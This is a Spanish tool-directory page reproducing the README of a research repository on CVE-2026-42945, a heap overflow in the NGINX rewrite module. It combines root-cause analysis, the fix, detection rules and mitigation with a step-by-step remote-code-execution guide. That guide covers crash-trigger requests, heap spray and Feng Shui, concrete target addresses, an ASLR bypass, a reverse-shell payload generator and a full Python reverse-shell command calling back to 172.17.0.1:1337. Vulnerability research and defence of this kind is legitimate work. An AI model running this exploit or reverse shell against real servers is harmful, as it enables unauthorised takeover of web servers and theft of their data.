Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-42945 — Repositorio completo de investigación sobre CVE-2026-42945 con análisis de desbordamiento de búfer en el heap, exploit de RCE (heap spray + Feng Shui), scripts de detección y guía de parcheo para la vulnerabilidad del módulo rewrite de NGINX. | Kitploit
Herramientas/GitHubGitHub/quantumworld-dpdns-io/cve-2026-42945
Análisis de VulnerabilidadesExplotaciónSeguridad WebFuzzingPruebas de PenetraciónAprendizaje y EducaciónRespuesta a IncidentesExplotación de BinariosLabs y Práctica
GitHubquantumworld-dpdns-io/cve-2026-42945

CVE-2026-42945

Repositorio completo de investigación sobre CVE-2026-42945 con análisis de desbordamiento de búfer en el heap, exploit de RCE (heap spray + Feng Shui), scripts de detección y guía de parcheo para la vulnerabilidad del módulo rewrite de NGINX.

Ver Repositorio
1hace 3 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Screenshot 2026-05-28 at 4 09 53 PM

CVE-2026-42945 — NGINX Rift

Desbordamiento de búfer en el montón en NGINX ngx_http_rewrite_module

MétricaValor
CVSS v4.09.2 (Crítico)
CVSS v3.18.1 (Alto) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE122 — Desbordamiento de búfer basado en montón
IntroducidoJunio 2008 — v0.6.27
DescubiertoAbril 2026 — DepthFirst Research
Corregido13 de mayo de 2026 — v1.30.1, v1.31.0
CVE Publicado21 de mayo de 2026
Vida útil~18 años (no detectado)
Commit de corrección524977e7c534e87e5b55739fa74601c9f1102686

Índice

  1. Resumen de la vulnerabilidad
  2. Análisis de la causa raíz
  3. Mecánica de explotación
  4. Análisis de la corrección
  5. Versiones afectadas
  6. Detección
  7. Mitigación
  8. Estructura del proyecto
  9. Inicio rápido
  10. Compilar y ejecutar vulnerable
  11. Desencadenar el desbordamiento
  12. Exploit de RCE
  13. Verificación de shell inversa
  14. Parcheo
  15. Pruebas
  16. Fuzzing
  17. Pipeline de CI
  18. Índice de documentación
  19. Estadísticas del proyecto
  20. Referencias

1. Resumen de la vulnerabilidad

Un atacante remoto no autenticado puede desencadenar un desbordamiento de búfer determinista en el montón en los procesos worker de NGINX mediante el envío de una solicitud HTTP manipulada a un servidor con un patrón de configuración específico de rewrite + set/if/rewrite. El desbordamiento corrompe metadatos del montón (punteros ngx_pool_cleanup_t), lo que permite Ejecución Remota de Código (RCE) mediante técnicas de heap spray y Feng Shui.

Patrón de activación```nginx

server { listen 19321;

root@kitploit:~
location ~ ^/api/(.*)$ {
    rewrite ^/api/(.*)$ /internal?migrated=true;
    set $original_endpoint $1;
}

}

root@kitploit:~
**Requisitos clave:**
- Una directiva `rewrite` cuya sustitución contenga `?` (separador de cadena de consulta)
- Una directiva `set`, `if` o `rewrite` posterior que haga referencia a una **captura PCRE sin nombre** (`$1`, `$2`, etc.)
- El `?` en la sustitución de rewrite activa `ngx_http_script_start_args_code` que establece `e->is_args = 1`

### Lo que un atacante puede lograr

| Capacidad | Descripción |
|-----------|-------------|
| **Denegación de Servicio** | Bloquear procesos worker de forma determinista, provocando bucles de reinicio (funciona independientemente de ASLR) |
| **Ejecución Remota de Código** | Con ASLR deshabilitado (o evitado mediante sobrescritura parcial), lograr RCE completa como usuario de nginx |
| **Exfiltración de Datos** | A través de primitivas de lectura de memoria, extraer datos sensibles del heap del worker |
| **Persistencia** | Instalar puertas traseras mediante ejecución de código en la memoria del proceso worker |

---

## 2. Análisis de Causa Raíz

### El Motor de Scripts de Dos Pasos

El `ngx_http_rewrite_module` de NGINX utiliza un **motor de scripts de dos pasos** en `src/http/ngx_http_script.c`:

1. **Pase de Longitud** (`ngx_http_script_run`): itera todos los códigos de script para calcular el tamaño total del búfer necesario. Escribe longitudes en `le.ip` y `le.pos`.
2. **Pase de Copia** (`ngx_http_script_copy_len`/`_code`): itera nuevamente, escribiendo bytes reales en el búfer preasignado en `e->ip` y `e->pos`.

Cada código de script tiene dos manejadores: uno para cada pase. Por ejemplo:
- `ngx_http_script_copy_len` → `ngx_http_script_copy_code`
- `ngx_http_script_start_args_len` → `ngx_http_script_start_args_code`

### La Bandera `is_args`

La bandera `e->is_args` en la **estructura del motor** (`ngx_http_script_engine_t`) controla cómo el pase de copia maneja ciertos caracteres:```c
typedef struct {
    u_char                  *ip;
    u_char                  *pos;
    ngx_http_variable_value_t *sp;
    ngx_str_t               buf;
    int                     flushed;
    unsigned                is_args:1;    // <-- THE BUG
    unsigned                ncaptures:1;
    ngx_uint_t              captures_size;
    // ...
} ngx_http_script_engine_t;

Cuando e->is_args = 1, el código de copia para las referencias de captura $N llama a ngx_escape_uri() con NGX_ESCAPE_ARGS, lo que expande:

  • + → %2B (1 byte → 3 bytes, +200%)
  • % → %25 (1 byte → 3 bytes, +200%)
  • & → %26 (1 byte → 3 bytes, +200%)

El Error: Filtración de Indicadores Entre Pasadas

El flujo de ejecución para el patrón vulnerable:``` rewrite ^/api/(.*)$ /internal?migrated=true;

root@kitploit:~
1. Durante la **evaluación de reescritura**, el motor encuentra `?` en la cadena de reemplazo, lo que activa `ngx_http_script_start_args_code`, estableciendo `e->is_args = 1`.
2. La reescritura modifica la URI de la solicitud y luego continúa a la siguiente directiva.
3. **`e->is_args` NUNCA SE LIMPIA**.

Entonces:```
set $original_endpoint $1;
  1. Se crea un submotor nuevo (le) para el pase de longitud: ```c ngx_memzero(&le, sizeof(ngx_http_script_engine_t));
    root@kitploit:~

Esto pone correctamente a cero le.is_args = 0, por lo que el pase de longitud devuelve la longitud de captura bruta, sin escapar.

  1. El pase de copia reutiliza el motor principal e, que aún tiene e->is_args = 1 desde el paso 1. El pase de copia aplica el escape de URI, expandiendo cada carácter escapable de 1 byte a 3 bytes dentro de un búfer cuyo tamaño se basó en la longitud bruta — desbordamiento de montón.

Recorrido Visual```

Pass 1 (Length — sub-engine le): le.is_args = 0 capture $1 = "A+++++B" → length = 7

Buffer allocated: 7 bytes

Pass 2 (Copy — main engine e): e.is_args = 1 ← LEAKED from rewrite capture $1 = "A+++++B" ngx_escape_uri("A+++++B", NGX_ESCAPE_ARGS): A → A (1 byte) + → %2B (3 bytes) ← EXPANSION + → %2B (3 bytes) + → %2B (3 bytes) + → %2B (3 bytes) + → %2B (3 bytes) B → B (1 byte) total written: 17 bytes buffer size: 7 bytes OVERFLOW: 10 bytes

root@kitploit:~
La proporción de expansión es `7 + (n_escapable * 2)` donde `n_escapable` es el recuento de `+`, `%`, y `&` en la captura.

---

## 3. Mecánica de Explotación

### Resumen

| Paso | Técnica | Descripción |
|------|-----------|-------------|
| 1 | Desbordamiento | Enviar URI manipulada con relleno de `+` para desbordar el búfer del heap |
| 2 | Heap Spray | Publicar cuerpos grandes en `/spray` para llenar el heap con datos controlados |
| 3 | Feng Shui | Organizar asignaciones para que el objetivo del desbordamiento (`ngx_pool_cleanup_t`) sea adyacente |
| 4 | Corromper Handler | El desbordamiento sobrescribe `ngx_pool_cleanup_t.handler` con la dirección de `system()` |
| 5 | Activar Limpieza | Esperar la destrucción del pool → `system(cmd)` ejecuta el comando del atacante |
| 6 | Reverse Shell | Encadenar al payload de reverse shell para acceso interactivo |

### Feng Shui entre solicitudes

**El Feng Shui de una sola solicitud falla** porque el desbordamiento corrompe los metadatos del pool (`->d.next`, `->d.failed`) antes de llegar al puntero `cleanup`. Cuando el pool se destruye al final de la solicitud, los metadatos corruptos causan un **bloqueo antes de que se llame a `system()`**.

En su lugar, el exploit utiliza **Feng Shui entre solicitudes**:
1. **Solicitud 1 (spray)**: Publicar un cuerpo grande en `/spray`. El backend (`server.py`) retiene la respuesta con el encabezado `X-Delay`, manteniendo la conexión abierta y preservando la asignación del heap. El spray llena el heap con bloques falsos `ngx_pool_cleanup_t`.
2. **Solicitud 2 (desbordamiento)**: Enviar la URI de desbordamiento. El desbordamiento corrompe solo el puntero `cleanup` (no los metadatos del pool), apuntándolo al bloque falso del spray.
3. **Destrucción del pool**: Cuando la respuesta del spray se completa (el retraso expira), la cadena de limpieza del pool avanza hasta el bloque falso y llama a `system(cmd)`.

### Requisitos de Direcciones

| Símbolo | Valor (Docker, ASLR desactivado) | Descripción |
|--------|--------------------------|-------------|
| `HEAP_BASE` | `0x555555659000` | Base del heap de nginx |
| `system@libc` | `0x7ffff6f6e420` | `system()` en glibc |
| `NGX_CYCLES_POOL` | `0x5555556a4040` | Puntero al pool de ciclos |
| Dirección de limpieza falsa | `0x5555556a4030` | Dirección objetivo del spray |

### Bypass de ASLR

Sin deshabilitar ASLR, el **DoS** (bloqueo) aún funciona de manera determinista. Para RCE con ASLR habilitado, dos enfoques:

1. **Sobrescritura parcial**: Usar sobrescritura de 1 o 2 bytes para desplazar un puntero dentro de la misma página, forzando por fuerza bruta los nibbles restantes (16–256 intentos).
2. **Fuga de información**: Leer `/proc/self/maps` o usar el análisis de memoria de `log_parser.py` para determinar el diseño.

---

## 4. Análisis de la Corrección

### La Corrección Oficial

**Commit**: `524977e7c534e87e5b55739fa74601c9f1102686`  
**Archivo**: `src/http/ngx_http_script.c`  
**Línea**: ~1205 (en `ngx_http_script_regex_end_code`)```diff
 void
 ngx_http_script_regex_end_code(ngx_http_script_engine_t *e)
 {
     ngx_http_script_regex_code_t *code;

     code = (ngx_http_script_regex_code_t *) e->ip;

+    e->is_args = 0;    /* ← THE FIX */

     e->ip += sizeof(ngx_http_script_regex_code_t);
     // ...
 }

Por qué esta ubicación es correcta

ngx_http_script_regex_end_code se ejecuta después de cada evaluación de expresión regular durante los pases de longitud y copia. Restablecer e->is_args = 0 aquí asegura:

  • La bandera se limpia inmediatamente después de que el código de expresión regular termina de ejecutarse
  • Los códigos de script subsiguientes (set, if, rewrite) comienzan con un is_args = 0 limpio
  • ngx_http_script_start_args_code aún puede establecer is_args = 1 cuando encuentra ? en una cadena de reemplazo — la corrección no rompe esa funcionalidad

Parche de defensa en profundidad

patches/0002-hardening-bounds-check.patch agrega una verificación de límites en ngx_http_script_copy_capture_code:```c if (e->pos + len > e->buf.data + e->buf.len) { return; /* gracefully truncate instead of overflowing */ }

root@kitploit:~
### Parches Retroportados

| Parche | Versiones de Nginx |
|-------|---------------|
| `patches/0001-fix-is_args.patch` | 1.22.x, 1.24.x, 1.26.x, 1.30.0 |
| `patches/backport-1.22.x.patch` | 1.22.0–1.22.1 |
| `patches/backport-1.24.x.patch` | 1.24.0–1.24.1 |
| `patches/backport-1.26.x.patch` | 1.26.0–1.26.1 |

---

## 5. Versiones Afectadas

### NGINX Open Source

| Rango | Estado |
|-------|--------|
| **0.1.0 – 0.6.26** | No afectado (el módulo rewrite es anterior a las capturas sin nombre) |
| **0.6.27 – 1.30.0** | **Vulnerable** (período de 18 años) |
| **1.30.1** | Primera versión corregida |
| **1.31.0+** | Corregido (mainline) |

### NGINX Plus

| Lanzamiento | Afectada | Corregida |
|---------|----------|-------|
| R32 | R32–R32 P5 | R32 P6 |
| R33 | R33–R33 P5 | R33 P6 |
| R34 | R34–R34 P4 | R34 P5 |
| R35 | R35–R35 P1 | R35 P2 |
| R36 | R36–R36 P3 | R36 P4 |

### Ecosistema NGINX

| Producto | Afectado | Estado |
|---------|----------|--------|
| NGINX Instance Manager | 2.16.0–2.21.1 | Aviso pendiente |
| F5 NGINX WAF | 5.9.0–5.12.1 | Aviso pendiente |
| NGINX Ingress Controller | 3.5.0–3.7.2, 4.0.0–4.0.1, 5.0.0–5.4.1 | Aviso pendiente |
| NGINX Gateway Fabric | 1.3.0–1.6.2, 2.0.0–2.5.1 | Aviso pendiente |
| NGINX Service Mesh | 1.6.0–1.6.2, 2.0.0–2.1.0 | Aviso pendiente |
| NGINX Agent | 2.0.0–2.35.0 | Aviso pendiente |

---

## 6. Detección

### Verificación de Versión```bash
bash detection/detect_vuln.sh

Este script verifica:

  • Versión de NGINX contra el rango vulnerable (0.6.27–1.30.0)
  • Archivos de configuración para el patrón vulnerable rewrite + ? + capture

Escáner de Configuración```bash

Scan a single config

python3 exploit/config_scanner.py /etc/nginx/nginx.conf

Scan all configs in a directory

python3 exploit/config_scanner.py /etc/nginx/

Fix vulnerable patterns (convert to named captures)

python3 exploit/config_scanner.py /etc/nginx/nginx.conf --fix

root@kitploit:~
### Escaneo de contenedores```bash
python3 detection/container_scan.py

Escanea imágenes locales de Docker en busca de etiquetas/variables de entorno de NGINX que indiquen versiones vulnerables.

Reglas WAF

Conjunto de ReglasArchivoCobertura
ModSecuritydetection/modsecurity_rule.confBloquea 100+ + consecutivos, 50+ caracteres escapables codificados, limita la velocidad de endpoints de spray
Suricata/Snortdetection/suricata_rule.rulesDetecta exceso de + en URIs GET, inundaciones de caracteres codificados, spray POST a /spray, DoS de bucle de caída
Falcodetection/falco_rule.yamlTiempo de ejecución: SIGSEGV en worker de nginx, bucle de caída (3+ en 60s), detección de spray heap POST

Análisis de Registros```bash

Parse error log for crash and exploit indicators

python3 exploit/log_parser.py /var/log/nginx/error.log

Watch mode (tail -f equivalent)

python3 exploit/log_parser.py /var/log/nginx/error.log --watch

root@kitploit:~
## 7. Mitigación

### Inmediata (Sin cambio de código)

Reemplace **capturas sin nombre** por **capturas con nombre** en todas las directivas `rewrite`:```nginx
# VULNERABLE — unnamed capture $1
rewrite ^/users/([0-9]+)/profile/(.*)$ /profile.php?id=$1&tab=$2 last;

# FIXED — named captures
rewrite ^/users/(?<user_id>[0-9]+)/profile/(?<section>.*)$ /profile.php?id=$user_id&tab=$section last;

Las capturas nombradas no pasan por ngx_escape_uri(..., NGX_ESCAPE_ARGS), por lo que incluso con e->is_args = 1, no ocurre expansión ni desbordamiento.

Endurecimiento de la Configuración```bash

bash detection/harden_nginx.sh /etc/nginx/nginx.conf

root@kitploit:~
Aplica estas medidas de endurecimiento:
- Verificación de ASLR y habilitación forzada
- Aislamiento de procesos worker
- Restricción de volcados de núcleo
- Endurecimiento de SSL/TLS
- Limitación de tasa
- Encabezados CSP

### Verificación de ASLR```bash
bash detection/check_aslr.sh

8. Estructura del proyecto```

CVE-2026-42945/ ├── .github/workflows/ci.yml GitHub Actions CI (single CI) ├── .gitignore ├── README.md This file ├── Makefile Build automation targets ├── COMMIT_LOG.md 1000+ commit record │ ├── docker/ Docker environment │ ├── Dockerfile Vulnerable NGINX builder (commit 98fc3bb78) │ ├── Dockerfile.patched Multi-stage vuln/patched builder │ ├── Dockerfile.asan ASAN-enabled vulnerable NGINX │ ├── docker-compose.yml Service orchestration │ ├── nginx.conf Vulnerable rewrite configuration │ ├── entrypoint.sh Container entrypoint (setarch -R for ASLR off) │ └── server.py Backend HTTP server (handles spray retention) │ ├── exploit/ Attack & exploitation tools │ ├── trigger.py Overflow trigger & health check │ ├── exploit.py Full RCE: heap spray + Feng Shui │ ├── h2_trigger.py HTTP/2 (h2c) overflow variant │ ├── escape_calc.py Character expansion ratio calculator │ ├── compare_lengths.py Raw vs escaped length comparison │ ├── heap_layout.py Parse /proc/PID/maps for heap/libc base │ ├── find_safe_addrs.py Search for URI-safe address bytes │ ├── leak_aslr.py ASLR partial-overwrite brute force │ ├── monitor_worker.py Worker PID crash detection & respawn tracking │ ├── log_parser.py Error log crash/exploit pattern parser │ └── config_scanner.py Config file pattern scanner & fixer │ ├── shell/ Reverse shell verification │ ├── shell_listener.py Interactive/verify-mode TCP listener │ ├── shell_payloads.py Payload generator (10 shell types) │ ├── shell_verify.py End-to-end automated verification │ ├── shell_manager.py Lifecycle orchestrator │ └── shell_test_runner.sh Batch runner across all shell types │ ├── patches/ Fix patches & backports │ ├── 0001-fix-is_args.patch Upstream one-line fix │ ├── 0002-hardening-bounds-check.patch Defense-in-depth │ ├── backport-1.22.x.patch Backport for 1.22.x │ ├── backport-1.24.x.patch Backport for 1.24.x │ └── backport-1.26.x.patch Backport for 1.26.x │ ├── configs/ Nginx configuration samples │ ├── vulnerable.conf 3 vulnerable patterns │ ├── safe.conf 5 safe patterns │ ├── named_capture.conf Mitigated named-capture pattern │ └── advanced/ │ ├── vulnerable_advanced.conf rewrite+if, rewrite+rewrite, flags │ ├── vulnerable_ingress.conf ingress-nginx rewrite-target patterns │ └── vulnerable_gateway.conf nginx-gateway fabric patterns │ ├── detection/ WAF rules & detection/hardening │ ├── modsecurity_rule.conf ModSecurity CRS rules │ ├── suricata_rule.rules Suricata/Snort signatures │ ├── falco_rule.yaml Falco runtime rules │ ├── detect_vuln.sh Version & config pattern detection │ ├── check_aslr.sh ASLR status verification │ ├── container_scan.py Docker image version scanner │ └── harden_nginx.sh Security hardening script │ ├── fuzz/ Fuzzing harness │ ├── ngx_http_script_fuzz.c libFuzzer harness (~200 lines) │ ├── fuzz_build.sh Build script (clang + libFuzzer + ASAN) │ └── corpus/ │ └── README.md Seed corpus documentation │ ├── test/ Test suite │ ├── test_exploit.py Python unittest (server, config, fix) │ └── run_tests.sh Shell test runner │ ├── docs/ Technical documentation │ ├── root-cause-analysis.md Deep dive into the bug │ ├── exploitation-guide.md Step-by-step exploitation │ ├── detection-guide.md Detection & monitoring │ ├── mitigation-guide.md Mitigation strategies │ ├── FAQ.md Frequently asked questions │ ├── timeline.md Vulnerability timeline │ ├── operational-guidance.md Operations & incident response │ ├── case-study.md Real-world attack scenario │ └── presentation-slides.md Conference presentation │ ├── tools/ Utility & analysis scripts │ ├── apply_fix.sh Patch application & rollback │ ├── backport_check.py Fix-ancestry & source-code checker │ ├── coredump_analyzer.sh GDB core dump analysis │ ├── performance_benchmark.sh Throughput/latency (ab, wrk, siege) │ ├── memory_analysis.sh Valgrind massif/callgrind, pmap │ ├── trace_script_engine.sh GDB script-engine tracing │ ├── regression_matrix.sh Multi-version regression testing │ ├── test_all_configs.sh Exhaustive config pattern testing │ ├── afl_runner.sh AFL++ fuzzer launcher │ └── verify_project.sh Project integrity verification │ └── pipelines/ Pipeline orchestrators ├── run_all.sh Bash pipeline (6 phases) └── run_all.ps1 PowerShell pipeline

root@kitploit:~
---

## 9. Inicio Rápido```bash
# 1. Build and run vulnerable NGINX
make build && make run
# Or:
cd docker && docker compose up

# 2. Health check
curl http://localhost:19321/
# → {"status":"ok","backend":"direct"}

# 3. Trigger crash (DoS)
python3 exploit/trigger.py --host localhost --port 19321 --plus-count 969
# → Worker crashed (expected) ✓

# 4. Verify recovery
python3 exploit/trigger.py --host localhost --port 19321 --check-alive
# → Server is alive ✓

# 5. Full RCE (ASLR disabled in container)
python3 exploit/exploit.py --host localhost --port 19321 \
    --cmd "whoami > /tmp/pwned"

# 6. Verify RCE
docker compose -f docker/docker-compose.yml exec nginx cat /tmp/pwned

# 7. Check your configs
python3 exploit/config_scanner.py configs/vulnerable.conf

10. Construir y Ejecutar Vulnerable

Docker (Recomendado)```bash

Using Makefile

make build # docker compose -f docker/docker-compose.yml build make run # docker compose -f docker/docker-compose.yml up

Or directly

cd docker && docker compose up --build

root@kitploit:~
El entorno Docker:
- Compila NGINX desde el código fuente en el commit `98fc3bb78` (último commit vulnerable antes de la corrección)
- Incluye GDB, valgrind, `util-linux` (para `setarch -R` para deshabilitar ASLR)
- Expone los puertos **19321** (nginx vulnerable), **19322** (secundario), **19323** (backend Python)
- El entrypoint usa `setarch x86_64 -R` para deshabilitar ASLR y obtener un diseño de direcciones determinista para el exploit
- Otorga la capacidad `SYS_PTRACE` y `seccomp=unconfined` para depuración

### Solo vulnerable```bash
make vuln-container
# Builds: docker build -t nginx-rift-vuln \
#   -f docker/Dockerfile.patched --build-arg NGINX_TYPE=vulnerable docker/

Contenedor Parcheado```bash

make fix-container

Builds: docker build -t nginx-rift-fixed \

-f docker/Dockerfile.patched --build-arg NGINX_TYPE=patched docker/

root@kitploit:~
### Contenedor ASAN```bash
make asan-container
# Builds: docker build -t nginx-rift-asan -f docker/Dockerfile.asan docker/

Construcción Manual```bash

git clone https://github.com/nginx/nginx.git /tmp/nginx-src cd /tmp/nginx-src && git checkout 98fc3bb78 ./auto/configure --with-cc-opt='-g -O2 -fno-omit-frame-pointer' make -j$(nproc) sudo cp objs/nginx /usr/local/sbin/nginx

root@kitploit:~
## 11. Desencadenar el Desbordamiento

### Fallo Básico (DoS)```bash
python3 exploit/trigger.py --host localhost --port 19321 --plus-count 969

Esto envía:``` GET /api/AAAA...[349 As]+++++...[969 +s] HTTP/1.1

root@kitploit:~
Los caracteres `+` en la captura `$1` se expanden 3× durante el paso de copia mientras el búfer se dimensionó para la longitud bruta, desbordando el montón.

### Salida Esperada```
[+] Triggering overflow with 969 plus signs...
[+] Connection established
[+] Payload sent, waiting for crash...
[!] Connection reset — worker crashed as expected
[+] Server is alive — worker respawned

Encontrando el desbordamiento mínimo```bash

python3 exploit/escape_calc.py --find-min 64

root@kitploit:~
Calcula el número mínimo de signos `+` necesarios para desbordar un número objetivo de bytes (útil al explotar estructuras específicas del heap).

### Expansión de Caracteres```bash
python3 exploit/escape_calc.py --prefix 349 --plus 969

Muestra la relación de expansión para una longitud de prefijo dada y un número de caracteres escapables.


12. Exploit de RCE

Descripción general

El exploit implementa Feng Shui entre solicitudes para lograr ejecución de código fiable:``` Time │ │ ┌─────────────────────┐ │ │ Request 1: Spray │── POST /spray with large body │ │ Holds connection │ Backend delays response via X-Delay │ └─────────┬───────────┘ │ │ Allocations persist on heap │ ┌─────────┴───────────┐ │ │ Request 2: Overflow │── GET /api/A...+++... │ │ Corrupts cleanup ptr │ Overwrites ngx_pool_cleanup_t.handler │ └─────────┬───────────┘ │ │ │ ┌─────────┴───────────┐ │ │ Pool Destruction │── Spray response completes │ │ → system("cmd") │ Cleanup chain walks to fake block │ └─────────────────────┘ └──────────────────────────────────────────►

root@kitploit:~
### Uso básico```bash
# Execute a command on the target
python3 exploit/exploit.py --host localhost --port 19321 \
    --cmd "whoami > /tmp/pwned"

Shell inversa```bash

python3 exploit/exploit.py --host localhost --port 19321
--cmd "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.17.0.1",1337));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'"
--tries 3

root@kitploit:~
### Advanced Options

| Flag | Default | Description |
|------|---------|-------------|
| `--host` | `127.0.0.1` | Host objetivo |
| `--port` | `19321` | Puerto objetivo |
| `--cmd` | — | Comando a ejecutar (requerido a menos que se use `--shell`) |
| `--shell` | — | Usar modo shell interactivo |
| `--tries` | `3` | Número de intentos de explotación |
| `--delay` | `2.0` | Retardo entre spray y desbordamiento (segundos) |
| `--payload` | — | Ruta al archivo de payload personalizado |
| `--debug` | — | Habilitar salida de depuración detallada |

### Análisis del diseño del heap```bash
python3 exploit/heap_layout.py

Requiere un PID de un worker nginx en ejecución. Analiza /proc/PID/maps para encontrar:

  • Dirección base del heap
  • Dirección base de libc
  • Dirección de la función system()

Buscador de direcciones seguras```bash

python3 exploit/find_safe_addrs.py --heap-base 0x555555659000 --count 5

root@kitploit:~
Encuentra direcciones de heap cuyos bytes no incluyen caracteres escapables (`+`, `%`, `&`, `?`, etc.) para su uso en la construcción de cargas de exploit.

---

## 13. Verificación de Reverse Shell

### Arquitectura```
shell_manager.py
  │
  ├── shell_payloads.py    → Generate payload strings for 10 shell types
  ├── shell_listener.py    → Start TCP listener (interactive + verify mode)
  ├── exploit/exploit.py   → Send exploit with payload to target
  └── shell_verify.py      → Wait for connection, run commands, verify output

Tipos de Shell Compatibles

TipoBinarioNotas
bash/dev/tcpTCP nativo de bash
pythonpython3 -cMás fiable, siempre disponible
ncncNetcat
perlperl -e
rubyruby -rsocket -e
phpphp -r
socatsocat
telnettelnet
opensslopenssl s_clientRequiere certificado
powershellpowershellObjetivos Windows

Oyente Interactivo```bash

Terminal 1: Start interactive listener

python3 shell/shell_listener.py --port 1337

Terminal 2: Run exploit with reverse shell

python3 exploit/exploit.py --host 127.0.0.1 --port 19321
--cmd "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.17.0.1",1337));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'"

root@kitploit:~
### Verificación Automatizada```bash
# Single-shot automated verify
python3 shell/shell_verify.py --target 127.0.0.1 --port 19321 \
    --shell-type python --listen-port 1337 --verify-cmds "id,whoami,hostname"

# Full pipeline across all shell types
bash shell/shell_test_runner.sh

# Orchestrated lifecycle with one command
python3 shell/shell_manager.py --target-host 127.0.0.1 --target-port 19321 \
    --shell-type python --listen-port 1337 --callback-ip 172.17.0.1

Generar Payloads```bash

python3 shell/shell_payloads.py --type python --host 172.17.0.1 --port 1337 python3 shell/shell_payloads.py --type all --host 172.17.0.1 --port 1337 python3 shell/shell_payloads.py --list

root@kitploit:~
## 14. Parcheo

### Aplicar el parche```bash
# To nginx source tree
bash tools/apply_fix.sh /path/to/nginx-src patches/0001-fix-is_args.patch

# To current nginx source
patch -p1 < patches/0001-fix-is_args.patch

Aplicar Corrección + Endurecimiento```bash

bash tools/apply_fix.sh /path/to/nginx-src patches/0001-fix-is_args.patch bash tools/apply_fix.sh /path/to/nginx-src patches/0002-hardening-bounds-check.patch

root@kitploit:~
### Aplicar Backport```bash
bash tools/apply_fix.sh /path/to/nginx-1.22.x patches/backport-1.22.x.patch

Verificar la corrección```bash

Check that the fix contains the key line

grep 'is_args = 0' patches/0001-fix-is_args.patch

Dry-run apply

patch -p1 --dry-run -i patches/0001-fix-is_args.patch

root@kitploit:~
## 15. Pruebas

### Pruebas Unitarias```bash
# Via Makefile
make test

# Directly
python3 -m pytest test/ -v
# or
python3 -m unittest discover -s test -v

Suite de Pruebas (Shell)```bash

bash test/run_tests.sh

root@kitploit:~
Ejecuta:
1. Pruebas unitarias (pytest o unittest)
2. Prueba de activación/desbordamiento (si el servidor está ejecutándose)
3. Escáner de configuración contra configuraciones vulnerables y seguras
4. Validación de simulación de parche

### Matriz de regresión```bash
bash tools/regression_matrix.sh

Prueba múltiples versiones de NGINX (1.22.0, 1.24.0, 1.26.0, 1.30.0, 1.30.1) contra configuraciones vulnerables y seguras, verificando expectativas de caída/no-caída.

Matriz de Configuración```bash

bash tools/test_all_configs.sh

root@kitploit:~
Prueba todos los patrones de configuración (básico, avanzado, entrada, puerta de enlace) con disparadores de desbordamiento.

---

## 16. Fuzzing

### Harness de libFuzzer

El fuzzer (`fuzz/ngx_http_script_fuzz.c`) simula el motor de script de dos pasadas:
1. Analiza la entrada como una secuencia de códigos de script
2. Ejecuta la pasada de longitud
3. Ejecuta la pasada de copia con `e->is_args = 1`
4. Detecta desbordamiento de búfer mediante ASAN o discrepancia de tamaño```bash
cd fuzz && bash fuzz_build.sh
./build/ngx_script_fuzz corpus/

AFL++```bash

bash tools/afl_runner.sh

root@kitploit:~
Lanza AFL++ con ASAN, tiempo de espera configurable y límites de memoria contra el harness de fuzzing.

### Corpus de Semillas

El directorio `fuzz/corpus/` contiene entradas de semillas que reproducen el patrón vulnerable, incluyendo:
- Disparador básico de desbordamiento
- Captura nombrada (no debería desbordar)
- Casos límite (captura vacía, tamaño máximo, etc.)

---

## 17. Tubería de CI

### GitHub Actions

El proyecto utiliza un **único flujo de trabajo de CI de GitHub Actions** (`.github/workflows/ci.yml`) con estos trabajos:

| Trabajo | Lo que hace |
|---------|-------------|
| `lint` | ShellCheck, validación de sintaxis de Python |
| `scan-configs` | Ejecuta config_scanner.py contra todas las muestras de configuración |
| `fuzz-build` | Construye el harness de libFuzzer |
| `test` | Ejecuta la suite de pytest/unittest |
| `detect-patch` | Verifica el formato del parche y el contenido de la corrección |
| `verify-project` | Ejecuta `tools/verify_project.sh` |

### Tubería Completa```bash
# Bash (Linux/macOS)
bash pipelines/run_all.sh

# PowerShell (Windows)
powershell ./pipelines/run_all.ps1 -SkipDocker

El pipeline ejecuta 7 fases:

  1. Preflight — Verificar requisitos previos (python3, curl, docker, docker-compose)
  2. Sintaxis y Linting — Compilación de Python, ShellCheck
  3. Análisis Estático — Escáner de configuración, cálculo de escape, diseño del heap, direcciones seguras
  4. Inicio del Entorno — Construir e iniciar contenedores Docker
  5. Pruebas en Vivo — Verificación de salud, disparador de desbordamiento, monitor de worker, formato de parche
  6. Verificación de Reverse Shell — Generación de payload, prueba en seco del listener, verificación automatizada
  7. Verificación del Proyecto — Verificación completa de integridad de archivos y sintaxis

18. Índice de Documentación

DocumentoDescripción
docs/root-cause-analysis.mdAnálisis técnico profundo del fallo del motor de script de dos pasadas, con recorridos de código y diagramas
docs/exploitation-guide.mdExplotación paso a paso, heap spray, Feng Shui, cálculo de direcciones, bypass de ASLR
docs/detection-guide.mdEscaneo de configuración, análisis de logs, reglas WAF, integración SIEM, detección de anomalías
docs/mitigation-guide.mdConversión de capturas nombradas, limitación de velocidad, despliegue de WAF, procedimientos de actualización
docs/FAQ.mdPreguntas frecuentes sobre la vulnerabilidad, explotación y remediación
docs/timeline.mdCronología de divulgación completa desde la introducción del fallo en 2008 hasta la corrección en 2026
docs/operational-guidance.mdRespuesta a incidentes, forense, recolección de IOCs, mitigación de emergencia
docs/case-study.mdSimulación de escenario de ataque real con análisis de la cadena de ataque
docs/presentation-slides.mdPresentación para conferencia/reunión con notas del orador

19. Estadísticas del Proyecto

MétricaValor
Archivos totales80+
